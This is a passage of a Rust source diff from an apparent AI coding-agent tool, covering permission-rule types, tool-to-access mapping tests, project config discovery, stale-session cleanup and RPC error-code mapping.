}
impl<'de> Deserialize<'de> for EditPolicy {
fn deserialize<D: serde::Deserializer<'de>>(deserializer: D) -> Result<Self, D::Error> {
struct V;
impl serde::de::Visitor<'_> for V {
type Value = EditPolicy;
fn expecting(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {
f.write_str("one of: ask, allow, reject")
}
fn visit_str<E: serde::de::Error>(self, v: &str) -> Result<EditPolicy, E> {
match v {
"ask" => Ok(EditPolicy::Ask),
"allow" => Ok(EditPolicy::Allow),
"reject" => Ok(EditPolicy::Reject),
other => Err(E::unknown_variant(other, &["ask", "allow", "reject"])),
}
}
}
deserializer.deserialize_str(V)
}
}
#[allow(clippy::large_enum_variant)]
pub enum PermissionCommand {
Request {
access: AccessKind,
tool_call_update: acp::ToolCallUpdate,
respond_to: oneshot::Sender<Decision>,
/// Session ID originating this request. Used to attribute
/// permission events to child subagents.
session_id: Option<String>,
/// Subagent type if this request is from a child (e.g. "explore").
subagent_type: Option<String>,
/// Subagent description if this request is from a child.
subagent_description: Option<String>,
},
/// Set the YOLO mode (auto-approve all permissions)
SetYoloMode(bool),
/// Set auto mode (LLM classifier for non-fast-path tools). Mutually
/// exclusive with YOLO at the handle level; enabling auto clears yolo
/// and vice versa when applied by the actor.
SetAutoMode(bool),
/// Install or replace the permission classifier used in auto mode.
SetClassifier(Option<std::sync::Arc<dyn super::auto_mode::PermissionClassifier>>),
/// Recent transcript turns for classifier context (compacted by caller).
SetClassifierTranscript(Vec<super::auto_mode::ClassifierTurn>),
/// Project AGENTS.md instructions for classifier context (None clears).
SetProjectInstructions(Option<String>),
/// Reset per-tool permission state back to defaults.
ResetState,
Shutdown,
}
impl From<&kigi_tools::types::ToolInput> for AccessKind {
fn from(input: &kigi_tools::types::ToolInput) -> Self {
use kigi_tools::types::ToolInput;
match input {
ToolInput::ReadFile(r) => AccessKind::Read(Some(r.path.clone())),
ToolInput::ListDir(l) => AccessKind::Read(Some(l.target_directory.clone())),
ToolInput::Grep(g) => AccessKind::Grep {
path: g.path.clone(),
glob: g.glob.clone(),
},
ToolInput::TodoWrite(_)
| ToolInput::TaskOutput(_)
| ToolInput::WaitTasks(_)
| ToolInput::KillTask(_)
| ToolInput::Skill(_) => AccessKind::Read(None),
ToolInput::WebSearch(ws) => AccessKind::WebSearch(ws.query.clone()),
ToolInput::SearchReplace(search_replace) => {
AccessKind::Edit(search_replace.file_path.to_string())
}
ToolInput::ApplyPatch(_) => AccessKind::Edit("apply_patch".to_string()),
ToolInput::HashlineEdit(he) => AccessKind::Edit(he.file_path.to_string()),
ToolInput::Write(w) => AccessKind::Edit(w.file_path.clone()),
ToolInput::Bash(bash) => AccessKind::Bash(bash.command.to_string()),
ToolInput::Monitor(m) => AccessKind::Bash(m.command.clone()),
ToolInput::MCPTool(mcp) => AccessKind::MCPTool {
name: mcp.tool_name.to_string(),
input: mcp.tool_input.clone(),
},
ToolInput::UseTool(u) => AccessKind::MCPTool {
name: u.tool_name.clone(),
input: u.tool_input.clone(),
},
ToolInput::WebFetch(wf) => AccessKind::WebFetch(wf.url.clone()),
ToolInput::Dynamic(_) => AccessKind::Read(None),
#[allow(unreachable_patterns)]
_ => AccessKind::Read(None),
}
}
}
/// Permission policy configuration (duplicated from util/config.rs for Phase 1 move independence; identical).
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
#[serde(default)]
pub struct PermissionConfig {
pub rules: Vec<PermissionRule>,
/// What to do when no rule or pre-decision resolves a tool call.
#[serde(default)]
pub prompt_policy: PromptPolicy,
}
impl PermissionConfig {
pub fn new(rules: Vec<PermissionRule>) -> Self {
Self {
rules,
prompt_policy: PromptPolicy::Ask,
}
}
}
/// What to do when the permission manager would normally prompt the user.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum PromptPolicy {
/// Prompt the user for approval (default).
#[default]
Ask,
/// Deny without prompting (`permissions.defaultMode: "dontAsk"`).
Deny,
/// Use the auto-mode classifier (`permissions.defaultMode: "auto"`).
/// Seeded into the permission manager's auto flag at session start.
Auto,
}
/// A single permission rule.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct PermissionRule {
pub action: RuleAction,
#[serde(default)]
pub tool: ToolFilter,
pub pattern: Option<String>,
#[serde(default)]
pub pattern_mode: PatternMode,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
#[serde(rename_all = "lowercase")]
pub enum PatternMode {
#[default]
Glob,
Domain,
}
/// Action to take when rule matches.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
#[serde(rename_all = "lowercase")]
pub enum RuleAction {
Allow,
#[default]
Deny,
Ask,
}
/// Tool filter for permission rules.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
#[serde(rename_all = "lowercase")]
pub enum ToolFilter {
#[default]
Any,
Bash,
Edit,
Read,
Grep,
Mcp,
WebFetch,
WebSearch,
}
/// Where a requirement/permission was loaded from (duplicated for claude_compat).
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum RequirementSource {
Unknown,
/// User-writable `~/.kigi/requirements.toml` — untrusted for keeping a
/// catch-all allow under the pin (a restricted user can edit it).
Requirements {
path: std::path::PathBuf,
},
/// Root-owned system-dir `requirements.toml`. Distinguished at load time
/// (`RequirementsLayer::is_system`), never inferred from `path`.
SystemRequirements {
path: std::path::PathBuf,
},
ManagedSettings {
path: std::path::PathBuf,
},
/// Defaults tier; never an admin source.
ManagedConfig {
path: std::path::PathBuf,
},
Config {
path: std::path::PathBuf,
},
Settings {
path: std::path::PathBuf,
},
}
impl std::fmt::Display for RequirementSource {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Self::Unknown => f.write_str("<unknown>"),
Self::Requirements { path } => write!(f, "{} (requirements)", path.display()),
Self::SystemRequirements { path } => {
write!(f, "{} (system requirements)", path.display())
}
Self::ManagedSettings { path } => {
write!(f, "{} (managed-settings)", path.display())
}
Self::ManagedConfig { path } => {
write!(f, "{} (managed config)", path.display())
}
Self::Config { path } => write!(f, "{} (config)", path.display()),
Self::Settings { path } => write!(f, "{} (settings)", path.display()),
}
}
}
/// A value paired with its source (duplicated).
#[derive(Debug, Clone)]
pub struct Sourced<T> {
pub value: T,
pub source: RequirementSource,
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn permission_event_subagent_fields_default_to_none() {
let json = r#"{
"tool_id": "tc1",
"tool_name": "bash",
"access_kind": "bash",
"yolo_mode": false,
"auto_approved": false,
"user_prompted": true,
"decision": "allow",
"timestamp": "2026-03-24T00:00:00Z"
}"#;
let event: PermissionEvent = serde_json::from_str(json).unwrap();
assert!(event.subagent_session_id.is_none());
assert!(event.subagent_type.is_none());
assert!(event.subagent_description.is_none());
assert!(event.permission_mode.is_none());
assert!(event.decision_reason.is_none());
assert!(event.wait_ms.is_none());
assert!(event.queue_depth.is_none());
}
#[test]
fn permission_event_with_subagent_attribution() {
let event = PermissionEvent {
tool_id: "tc1".into(),
tool_name: "bash".into(),
access_kind: "bash".into(),
access_detail: None,
yolo_mode: false,
auto_approved: false,
user_prompted: true,
decision: "allow".into(),
prompt_outcome: None,
reject_reason: None,
timestamp: Utc::now(),
subagent_session_id: Some("child-1".into()),
subagent_type: Some("explore".into()),
subagent_description: Some("Find endpoints".into()),
permission_mode: Some("ask".into()),
decision_reason: Some("needs_user".into()),
wait_ms: Some(1234),
queue_depth: Some(3),
};
let json = serde_json::to_value(&event).unwrap();
assert_eq!(json["subagent_session_id"], "child-1");
assert_eq!(json["subagent_type"], "explore");
assert_eq!(json["subagent_description"], "Find endpoints");
assert_eq!(json["permission_mode"], "ask");
assert_eq!(json["decision_reason"], "needs_user");
assert_eq!(json["wait_ms"], 1234);
assert_eq!(json["queue_depth"], 3);
}
#[test]
fn permission_event_skips_none_optional_fields() {
let event = PermissionEvent {
tool_id: "tc1".into(),
tool_name: "bash".into(),
access_kind: "bash".into(),
access_detail: None,
yolo_mode: false,
auto_approved: true,
user_prompted: false,
decision: "allow".into(),
prompt_outcome: None,
reject_reason: None,
timestamp: Utc::now(),
subagent_session_id: None,
subagent_type: None,
subagent_description: None,
permission_mode: None,
decision_reason: None,
wait_ms: None,
queue_depth: None,
};
let json = serde_json::to_string(&event).unwrap();
assert!(!json.contains("subagent_session_id"));
assert!(!json.contains("subagent_type"));
assert!(!json.contains("permission_mode"));
assert!(!json.contains("decision_reason"));
assert!(!json.contains("wait_ms"));
assert!(!json.contains("queue_depth"));
}
#[test]
fn hashline_edit_maps_to_edit_access() {
use kigi_tools::implementations::grok_build_hashline::edit::types::HashlineEditInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::HashlineEdit(HashlineEditInput {
file_path: "src/main.rs".into(),
edits: vec![],
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::Edit(ref p) if p == "src/main.rs"),
"HashlineEdit should produce AccessKind::Edit with the file path, got {access:?}"
);
}
#[test]
fn bash_maps_to_bash_access() {
use kigi_tools::implementations::grok_build::bash::BashToolInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::Bash(BashToolInput {
command: "cargo test".into(),
timeout: None,
description: "run tests".into(),
is_background: false,
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::Bash(ref cmd) if cmd == "cargo test"),
"Bash should produce AccessKind::Bash with the command, got {access:?}"
);
}
#[test]
fn use_tool_maps_to_mcp_tool_access() {
use kigi_tools::implementations::use_tool::UseToolInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::UseTool(UseToolInput {
tool_name: "linear__save_issue".into(),
tool_input: serde_json::json!({ "title" : "test" }),
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::MCPTool { ref name, ref input } if name ==
"linear__save_issue" && input["title"] == "test"),
"UseTool should produce AccessKind::MCPTool carrying the inner tool name and args, got {access:?}"
);
}
#[test]
fn monitor_maps_to_bash_access() {
use kigi_tools::implementations::grok_build::monitor::types::MonitorInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::Monitor(MonitorInput {
command: "tail -f /var/log/syslog".into(),
description: "watch syslog".into(),
timeout_ms: None,
persistent: None,
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::Bash(ref cmd) if cmd ==
"tail -f /var/log/syslog"),
"Monitor runs shell and must map to AccessKind::Bash (not Read), got {access:?}"
);
}
#[test]
fn search_replace_maps_to_edit_access() {
use kigi_tools::implementations::grok_build::search_replace::SearchReplaceInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::SearchReplace(SearchReplaceInput {
file_path: "lib.rs".into(),
old_string: "old".into(),
new_string: "new".into(),
replace_all: false,
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::Edit(ref p) if p == "lib.rs"),
"SearchReplace should produce AccessKind::Edit, got {access:?}"
);
}
#[test]
fn web_fetch_maps_to_web_fetch_access() {
use kigi_tools::implementations::grok_build::web_fetch::WebFetchInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::WebFetch(WebFetchInput {
url: "https://custom.example.com/api".into(),
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::WebFetch(ref u) if u ==
"https://custom.example.com/api"),
"WebFetch should produce AccessKind::WebFetch with the URL, got {access:?}"
);
}
#[test]
fn web_search_maps_to_web_search_access() {
use kigi_tools::implementations::grok_build::web_search::WebSearchInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::WebSearch(WebSearchInput {
query: "rust lang".into(),
allowed_domains: None,
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::WebSearch(ref q) if q == "rust lang"),
"WebSearch should produce AccessKind::WebSearch with the query, got {access:?}"
);
}
#[test]
fn apply_patch_maps_to_edit_access() {
use kigi_tools::implementations::codex::apply_patch::ApplyPatchInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::ApplyPatch(ApplyPatchInput {
patch: String::new(),
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::Edit(_)),
"ApplyPatch should produce AccessKind::Edit, got {access:?}"
);
}
#[test]
fn write_tool_maps_to_edit_access() {
use kigi_tools::implementations::opencode::write::WriteInput;
use kigi_tools::types::ToolInput;
let input = ToolInput::Write(WriteInput {
file_path: "/tmp/secret.txt".into(),
content: "overwritten".into(),
});
let access = AccessKind::from(&input);
assert!(
matches!(access, AccessKind::Edit(ref p) if p == "/tmp/secret.txt"),
"Write should produce AccessKind::Edit with the file path, got {access:?}"
);
}
#[test]
fn client_type_deserializes_grok_shell_as_generic() {
assert_eq!(
serde_json::from_value::<ClientType>("grok-shell".into()).unwrap(),
ClientType::Generic,
);
assert_eq!(
serde_json::from_value::<ClientType>("grok_shell".into()).unwrap(),
ClientType::Generic,
);
assert_eq!(
serde_json::from_value::<ClientType>("generic".into()).unwrap(),
ClientType::Generic,
);
}
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,115 @@
//! Project config-file discovery: locating repo-local `.mcp.json` and
//! `.kigi/config.toml` files by walking from `cwd` up to the git root.
//!
//! These pure `git2` + filesystem walks are shared by the shell's config
//! loaders and the folder-trust gate's `repo_configs_present`.
use std::path::{Path, PathBuf};
use kigi_agent::repo::RepoDirChain;
/// Filename of the project-local MCP server config.
pub const MCP_JSON_FILENAME: &str = ".mcp.json";
/// Candidate `.mcp.json` paths from repo root to `cwd`, whether or not they exist.
/// Useful for file watching so newly created files are detected after startup.
pub fn mcp_json_candidate_paths(cwd: &Path) -> Vec<PathBuf> {
mcp_json_candidate_paths_in(&RepoDirChain::resolve(cwd).dirs)
}
/// [`mcp_json_candidate_paths`] over a precomputed cwd→git-root dir chain
/// ([`RepoDirChain`]), repo-root-first. Private: only this file's two callers.
fn mcp_json_candidate_paths_in(chain_dirs: &[PathBuf]) -> Vec<PathBuf> {
chain_dirs
.iter()
.rev()
.map(|dir| dir.join(MCP_JSON_FILENAME))
.collect()
}
/// Find existing `.mcp.json` files from `cwd` up to the git root (repo-root-first order).
pub fn find_mcp_json_files(cwd: &Path) -> Vec<PathBuf> {
find_mcp_json_files_in(&RepoDirChain::resolve(cwd).dirs)
}
/// [`find_mcp_json_files`] over a precomputed dir chain. See [`RepoDirChain`].
/// `pub(crate)` — the gate (`repo_configs_present`) reaches it within this crate.
pub(crate) fn find_mcp_json_files_in(chain_dirs: &[PathBuf]) -> Vec<PathBuf> {
mcp_json_candidate_paths_in(chain_dirs)
.into_iter()
.filter(|path| path.is_file())
.collect()
}
/// True when `config_path` is `$KIGI_SHARE_DIR/config.toml` (user tier, not project).
fn is_user_grok_config_file(config_path: &Path) -> bool {
let Some(user_home) = kigi_config::user_kigi_home() else {
return false;
};
let user_config = user_home.join("config.toml");
if config_path == user_config.as_path() {
return true;
}
let Ok(canonical_config) = dunce::canonicalize(config_path) else {
return false;
};
let canonical_user = dunce::canonicalize(&user_config).unwrap_or(user_config);
canonical_config == canonical_user
}
/// Find all `.kigi/config.toml` files from `cwd` upward to the git repo root.
/// Returns paths ordered from repo root (lowest priority) to cwd (highest priority),
/// matching the convention used by skills and AGENTS.md discovery.
///
/// If no git repo is found, only checks `cwd/.kigi/config.toml`. Excludes the
/// user-global config so `cwd == $HOME` does not treat `~/.kigi/config.toml` as
/// a project overlay.
pub fn find_project_configs(cwd: &Path) -> Vec<PathBuf> {
find_project_configs_in(&RepoDirChain::resolve(cwd).dirs)
}
/// [`find_project_configs`] over a precomputed cwd→git-root dir chain
/// ([`RepoDirChain`]), repo-root-first. Excludes the user-global config so
/// `cwd == $HOME` does not treat `~/.kigi/config.toml` as a project overlay.
/// `pub(crate)` — the gate (`repo_configs_present`) reaches it within this crate.
pub(crate) fn find_project_configs_in(chain_dirs: &[PathBuf]) -> Vec<PathBuf> {
// `dirs` is cwd-first; reverse so repo root comes first (lowest priority)
// and cwd last (highest), matching skills/AGENTS.md discovery order.
chain_dirs
.iter()
.rev()
.map(|dir| dir.join(".kigi").join("config.toml"))
.filter(|config_path| config_path.is_file() && !is_user_grok_config_file(config_path))
.collect()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn find_project_configs_excludes_user_grok_config_file() {
let Some(user_home) = kigi_config::user_kigi_home() else {
return;
};
let user_config = user_home.join("config.toml");
if user_config.is_file() {
#[allow(deprecated)]
let home = std::env::home_dir().expect("home dir");
let from_home = find_project_configs(&home);
assert!(
!from_home.iter().any(|p| is_user_grok_config_file(p)),
"user config leaked into project configs: {from_home:?}"
);
assert!(is_user_grok_config_file(&user_config));
}
let tmp = tempfile::tempdir().unwrap();
let project = tmp.path().join("repo");
std::fs::create_dir_all(project.join(".kigi")).unwrap();
std::fs::write(project.join(".kigi/config.toml"), "# project\n").unwrap();
let found = find_project_configs(&project);
assert_eq!(found.len(), 1);
assert!(!is_user_grok_config_file(&found[0]));
}
}
@@ -0,0 +1,158 @@
//! Startup janitor for workspace-owned on-disk session state.
use std::path::Path;
use std::time::Duration;
/// Default maximum age for a per-session state directory before the
/// [`cleanup_stale_sessions`] janitor reclaims it (7 days).
pub const DEFAULT_SESSION_MAX_AGE: Duration = Duration::from_secs(7 * 24 * 60 * 60);
/// Remove per-session state directories under `<workspace_home>/sessions/`
/// whose mtime is older than `max_age`, bounding the unbounded growth a
/// long-lived workspace (or reused sandbox) would otherwise accumulate.
///
/// A directory's mtime advances on every atomic-rename persistence write (the
/// rename mutates the directory entry), so it tracks last activity closely
/// enough for a best-effort reclaim. All errors are swallowed — a startup
/// janitor must never fail boot. Only directories with a resolvable, expired
/// mtime are removed; stray files and future-mtime entries are left untouched.
pub async fn cleanup_stale_sessions(workspace_home: &Path, max_age: Duration) {
let sessions_dir = workspace_home.join("sessions");
let Ok(mut entries) = tokio::fs::read_dir(&sessions_dir).await else {
return; // No sessions dir yet (first boot).
};
let mut removed = 0u32;
while let Ok(Some(entry)) = entries.next_entry().await {
let Ok(ft) = entry.file_type().await else {
continue;
};
if !ft.is_dir() {
continue;
}
let path = entry.path();
if let Ok(metadata) = tokio::fs::metadata(&path).await
&& let Ok(modified) = metadata.modified()
&& let Ok(age) = modified.elapsed()
&& age > max_age
{
match tokio::fs::remove_dir_all(&path).await {
Ok(()) => {
removed += 1;
tracing::info!(
path = %path.display(),
age_secs = age.as_secs(),
"cleanup_stale_sessions: removed stale session dir"
);
}
Err(e) => {
tracing::warn!(
path = %path.display(),
error = %e,
"cleanup_stale_sessions: failed to remove stale session dir"
);
}
}
}
}
if removed > 0 {
tracing::info!(
removed,
"cleanup_stale_sessions: stale session-dir sweep complete"
);
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::time::Duration;
/// A session dir older than `max_age` is removed.
#[tokio::test]
async fn cleanup_removes_stale_session_dir() {
let home = tempfile::TempDir::new().unwrap();
let stale = home.path().join("sessions").join("sess-old");
std::fs::create_dir_all(&stale).unwrap();
std::fs::write(stale.join("tool_state.json"), b"{}").unwrap();
// Guarantee `age > Duration::ZERO` regardless of mtime resolution.
tokio::time::sleep(Duration::from_millis(15)).await;
cleanup_stale_sessions(home.path(), Duration::ZERO).await;
assert!(
!stale.exists(),
"a session dir older than max_age must be removed"
);
}
/// A session dir younger than `max_age` is kept.
#[tokio::test]
async fn cleanup_keeps_fresh_session_dir() {
let home = tempfile::TempDir::new().unwrap();
let fresh = home.path().join("sessions").join("sess-new");
std::fs::create_dir_all(&fresh).unwrap();
std::fs::write(fresh.join("tool_state.json"), b"{}").unwrap();
cleanup_stale_sessions(home.path(), Duration::from_secs(3600)).await;
assert!(
fresh.exists(),
"a session dir younger than max_age must be kept"
);
assert!(
fresh.join("tool_state.json").exists(),
"a kept session dir must retain its contents"
);
}
/// No `sessions/` directory (first boot) is a silent no-op, not a panic.
#[tokio::test]
async fn cleanup_missing_sessions_dir_is_noop() {
let home = tempfile::TempDir::new().unwrap();
cleanup_stale_sessions(home.path(), Duration::ZERO).await;
assert!(home.path().exists(), "home is left untouched");
}
/// Stray files under `sessions/` are never removed — directories only.
#[tokio::test]
async fn cleanup_ignores_non_dir_entries() {
let home = tempfile::TempDir::new().unwrap();
let sessions = home.path().join("sessions");
std::fs::create_dir_all(&sessions).unwrap();
let stray = sessions.join("stray.txt");
std::fs::write(&stray, b"not a session dir").unwrap();
tokio::time::sleep(Duration::from_millis(15)).await;
cleanup_stale_sessions(home.path(), Duration::ZERO).await;
assert!(
stray.exists(),
"stray files under sessions/ must never be removed"
);
}
/// Mixed sweep: the `max_age` comparison is per-entry, not all-or-nothing.
#[tokio::test]
async fn cleanup_removes_only_expired_dirs() {
let home = tempfile::TempDir::new().unwrap();
let sessions = home.path().join("sessions");
let old = sessions.join("sess-old");
std::fs::create_dir_all(&old).unwrap();
// Wide gap (100ms) vs a 50ms threshold so neither side is sensitive to
// scheduler jitter.
tokio::time::sleep(Duration::from_millis(100)).await;
let max_age = Duration::from_millis(50);
let fresh = sessions.join("sess-fresh");
std::fs::create_dir_all(&fresh).unwrap();
cleanup_stale_sessions(home.path(), max_age).await;
assert!(!old.exists(), "the >max_age dir must be removed");
assert!(
fresh.exists(),
"the <max_age dir must survive the same sweep"
);
}
}
@@ -0,0 +1,227 @@
//! `WorkspaceError` <-> wire-code mapping for the workspace RPC envelope
//! (the envelope types are canonical in `kigi_workspace_types::rpc`).
//!
//! `error_code` uses a non-wildcard match so the compiler enforces
//! coverage of new `WorkspaceError` variants.
pub use kigi_workspace_types::rpc::{RpcEnvelope, RpcError};
use crate::error::WorkspaceError;
/// Build an error envelope from a `WorkspaceError`.
pub fn envelope_err<T>(error: &WorkspaceError) -> RpcEnvelope<T> {
RpcEnvelope::err_parts(error_code(error), error.to_string())
}
/// Map a `WorkspaceError` to its wire code string.
///
/// Uses an exhaustive match with no wildcard -- the compiler will
/// error when new variants are added to `WorkspaceError`, forcing
/// the implementer to assign a wire code.
pub fn error_code(err: &WorkspaceError) -> &'static str {
match err {
WorkspaceError::ParentSessionNotFound(_) => "parent_session_not_found",
WorkspaceError::SessionNotFound(_) => "session_not_found",
WorkspaceError::SessionAlreadyExists(_) => "session_already_exists",
WorkspaceError::EmptyAgentId => "empty_agent_id",
WorkspaceError::CannotDropMainSession => "cannot_drop_main",
WorkspaceError::Finalize(_) => "finalize",
WorkspaceError::CapabilityWidening { .. } => "capability_widening",
WorkspaceError::Unauthorized { .. } => "unauthorized",
WorkspaceError::TurnActive(_) => kigi_workspace_types::rpc::envelope::TURN_ACTIVE,
WorkspaceError::MaxDepthExceeded { .. } => "max_depth_exceeded",
WorkspaceError::JoinError(_) => "join_error",
WorkspaceError::InvalidHunkAction(_) => "invalid_hunk_action",
WorkspaceError::HunkActionFailed(_) => "hunk_action_failed",
WorkspaceError::HubError(_) => "hub_error",
WorkspaceError::DeployError { kind, .. } => kind.wire_code(),
WorkspaceError::ShuttingDown => "shutting_down",
WorkspaceError::ToolsetExternallyOwned(_) => "toolset_externally_owned",
}
}
/// Map a wire [`RpcError`] back to a [`WorkspaceError`].
///
/// Known codes are mapped to their specific variants. Unknown codes
/// degrade gracefully to `WorkspaceError::HubError`, ensuring
/// forward compatibility when a newer workspace sends codes an older
/// shell does not recognise.
///
/// # Intentional degradation
///
/// The structured variants `CapabilityWidening`, `Unauthorized`, and
/// `MaxDepthExceeded` carry multiple fields that are not preserved in
/// the wire `message` string. These are mapped to `HubError` on the
/// deserializing side because reconstructing the original struct fields
/// from a flattened `Display` string would be fragile and error-prone.
/// Callers that need to distinguish these errors can match on the
/// `HubError` message which contains the original error code as a
/// prefix (e.g. `"capability_widening: ..."`).
pub fn rpc_error_to_workspace(err: RpcError) -> WorkspaceError {
if let Some(kind) = kigi_workspace_types::rpc::deploy::DeployError::from_wire_code(&err.code) {
return WorkspaceError::DeployError {
kind,
message: err.message,
};
}
match err.code.as_str() {
"parent_session_not_found" => WorkspaceError::ParentSessionNotFound(err.message),
"session_not_found" => WorkspaceError::SessionNotFound(err.message),
"session_already_exists" => WorkspaceError::SessionAlreadyExists(err.message),
"empty_agent_id" => WorkspaceError::EmptyAgentId,
"cannot_drop_main" => WorkspaceError::CannotDropMainSession,
"finalize" => WorkspaceError::Finalize(err.message),
"capability_widening" => {
WorkspaceError::HubError(format!("capability_widening: {}", err.message))
}
"unauthorized" => WorkspaceError::HubError(format!("unauthorized: {}", err.message)),
"turn_active" => WorkspaceError::TurnActive(err.message),
"max_depth_exceeded" => {
WorkspaceError::HubError(format!("max_depth_exceeded: {}", err.message))
}
"join_error" => WorkspaceError::JoinError(err.message),
"invalid_hunk_action" => WorkspaceError::InvalidHunkAction(err.message),
"hunk_action_failed" => WorkspaceError::HunkActionFailed(err.message),
"hub_error" => WorkspaceError::HubError(err.message),
"shutting_down" => WorkspaceError::ShuttingDown,
"toolset_externally_owned" => WorkspaceError::ToolsetExternallyOwned(err.message),
unknown => {
WorkspaceError::HubError(format!("unknown error code: {unknown}: {}", err.message))
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::capability::CapabilityMode;
/// Verify round-trip fidelity for every `WorkspaceError` variant.
#[test]
fn error_code_round_trip_all_variants() {
let mut variants: Vec<WorkspaceError> = vec![
WorkspaceError::ParentSessionNotFound("p".into()),
WorkspaceError::SessionNotFound("s".into()),
WorkspaceError::SessionAlreadyExists("s".into()),
WorkspaceError::EmptyAgentId,
WorkspaceError::CannotDropMainSession,
WorkspaceError::Finalize("f".into()),
WorkspaceError::CapabilityWidening {
parent: CapabilityMode::ReadOnly,
child: CapabilityMode::All,
},
WorkspaceError::Unauthorized {
caller: "a".into(),
target: "b".into(),
},
WorkspaceError::TurnActive("s".into()),
WorkspaceError::MaxDepthExceeded { parent: "p".into() },
WorkspaceError::JoinError("j".into()),
WorkspaceError::InvalidHunkAction("h".into()),
WorkspaceError::HunkActionFailed("h".into()),
WorkspaceError::HubError("hub".into()),
WorkspaceError::ShuttingDown,
WorkspaceError::ToolsetExternallyOwned("s".into()),
];
variants.extend(
kigi_workspace_types::rpc::deploy::DeployError::ALL
.into_iter()
.map(|kind| WorkspaceError::DeployError {
kind,
message: "deploy".into(),
}),
);
for err in &variants {
let code = error_code(err);
assert!(!code.is_empty(), "code must not be empty for {err:?}");
// Round-trip through RpcError
let rpc_err = RpcError {
code: code.to_owned(),
message: err.to_string(),
};
let recovered = rpc_error_to_workspace(rpc_err);
// The recovered error's code should match the original code
let recovered_code = error_code(&recovered);
// Structured variants (CapabilityWidening, Unauthorized,
// MaxDepthExceeded) lose their fields on the wire and
// degrade to HubError, which is the expected behavior.
// Their error messages are preserved in the HubError string.
match err {
WorkspaceError::CapabilityWidening { .. } => {
assert_eq!(recovered_code, "hub_error");
let msg = recovered.to_string();
assert!(
msg.contains("capability_widening"),
"degraded error should contain original code: {msg}"
);
}
WorkspaceError::Unauthorized { .. } => {
assert_eq!(recovered_code, "hub_error");
let msg = recovered.to_string();
assert!(
msg.contains("unauthorized"),
"degraded error should contain original code: {msg}"
);
}
WorkspaceError::MaxDepthExceeded { .. } => {
assert_eq!(recovered_code, "hub_error");
let msg = recovered.to_string();
assert!(
msg.contains("max_depth_exceeded"),
"degraded error should contain original code: {msg}"
);
}
_ => {
assert_eq!(
recovered_code, code,
"round-trip mismatch for {err:?}: got code {recovered_code}"
);
}
}
}
}
/// Verify unknown codes degrade to HubError.
#[test]
fn unknown_code_degrades_to_hub_error() {
let rpc_err = RpcError {
code: "future_new_variant".into(),
message: "something new".into(),
};
let recovered = rpc_error_to_workspace(rpc_err);
assert!(matches!(recovered, WorkspaceError::HubError(_)));
let msg = recovered.to_string();
assert!(msg.contains("future_new_variant"));
}
/// Verify serde round-trip of RpcEnvelope.
#[test]
fn envelope_serde_round_trip_ok() {
let env: RpcEnvelope<String> = RpcEnvelope::ok("hello".into());
let json = serde_json::to_value(&env).unwrap();
let recovered: RpcEnvelope<String> = serde_json::from_value(json).unwrap();
match recovered.into_result() {
Ok(v) => assert_eq!(v, "hello"),
Err(e) => panic!("expected Ok, got {e:?}"),
}
}
/// Verify serde round-trip of RpcEnvelope error, through the
/// `WorkspaceError` mapping in both directions.
#[test]
fn envelope_serde_round_trip_err() {
let err = WorkspaceError::SessionNotFound("ghost".into());
let env: RpcEnvelope<String> = envelope_err(&err);
let json = serde_json::to_value(&env).unwrap();
let recovered: RpcEnvelope<String> = serde_json::from_value(json).unwrap();
match recovered.into_result().map_err(rpc_error_to_workspace) {
Ok(_) => panic!("expected Err"),
Err(e) => {
assert_eq!(error_code(&e), "session_not_found");
}
}
}
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,725 @@
//! Disk-backed, co-located checkpoint store.
//!
//! Each finalized [`RewindCheckpoint`] is mirrored to a small on-disk store that
//! lives *inside* the session working tree (the snapshotted rootfs), so the
//! per-turn rootfs snapshot carries serialized checkpoints across a sandbox
//! restore. A restored session rehydrates them into the in-memory cache (see
//! [`CheckpointStore::with_cap`]); the cache is the hot read path, disk the
//! durable copy. Re-seeding the *live* trackers from the cache is not yet wired.
//!
//! The store is a durability **mirror**, not the restore mechanism: in-session
//! [`rewind_to`](crate::handle::WorkspaceHandle::rewind_to) always reverts
//! in-process, never via a rootfs rollback. All disk I/O is gated by
//! `workspace_rewind_durable` ([`rewind_durable_enabled`](super::checkpoint::rewind_durable_enabled));
//! off ⇒ the legacy in-memory-only path.
//!
//! **On-disk layout** (under the session `cwd`):
//!
//! ```text
//! <cwd>/.kigi/rewind-checkpoints/
//! .gitignore # "*" — blobs are never committed
//! <session_id>/
//! checkpoint-<prompt_index>.json # one RewindCheckpoint per prompt
//! ```
use std::collections::BTreeMap;
use std::path::{Path, PathBuf};
use tokio::io::AsyncWriteExt;
use tokio::sync::Mutex;
use crate::session::checkpoint::RewindCheckpoint;
/// Directory (under `<cwd>/.kigi`) holding every session's checkpoint store.
